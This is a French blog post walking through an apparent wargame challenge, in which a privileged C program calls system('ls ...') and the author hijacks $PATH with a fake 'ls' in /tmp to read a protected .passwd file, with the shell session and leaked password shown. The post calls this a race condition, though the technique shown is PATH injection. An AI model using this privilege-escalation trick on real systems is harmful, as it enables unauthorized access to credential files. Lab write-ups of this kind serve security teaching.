On continue sur les failles applicatives, avec cette fois-ci les race conditions
avec la fonction system() qui est : LE MAL
Si un jour vous êtes amené à développer sous Nux oubliez ce genres d'appel :
#include <stdlib.h>
#include <stdio.h>
int main(){
system("ls /wargame/binary/binary2/.passwd");
return 0;
}
C'est horrible. Car c'est très facile à exploiter.
Une race condition c'est par exemple accéder à un fichier sans avoir les droits nécessaires pour l'ouvrir...
Sauf si c'est un programme lancé avec les bon privilèges qui l'ouvre à notre place.
Cet exemple est tiré d'un challenge sur root-me.org . Et il faut reconnaitre que l'épreuve est présente à peu près partout en début de chall applicatif, que ce soit intruded.net, smashthestack.org, root-me.org et j'en passe.
System() ici, va se servir de $PATH pour accéder à la fonction "ls" donc logiquement /usr/local/bin...
Mais si je crée un fichier ls dans un autre répertoire et si je fait pointer $PATH vers ce répertoire ?
Ben System() va aller chercher le ls "corrompu"... Et ouai. System poutre le système si je puis dire.
Exemple :
binary1@wargame:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games //$PATH pointe actuellement sur /usr/bin
binary1@wargame:~$ cd /tmp
binary1@wargame:/tmp$ cat > ls //On change le ls en cat par exemple
cat /wargame/binary/binary2/.passwd
binary1@wargame:/tmp$ chmod 777 ./ls
binary1@wargame:/tmp$ cd
binary1@wargame:~$ export PATH="/tmp:$PATH" //On fait pointer $PATH vers /tmp
binary1@wargame:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games //Le changement est à présent effectué
binary1@wargame:~$ ./level1
!oPe96a/.s8d5 //aille
Bon vous pouvez aussi constater aussi qu'il n'y a rien de neuf sous le soleil.
C'est une faille extrêmement connue mais un rappel ne fait jamais de mal.
Aucun commentaire:
Enregistrer un commentaire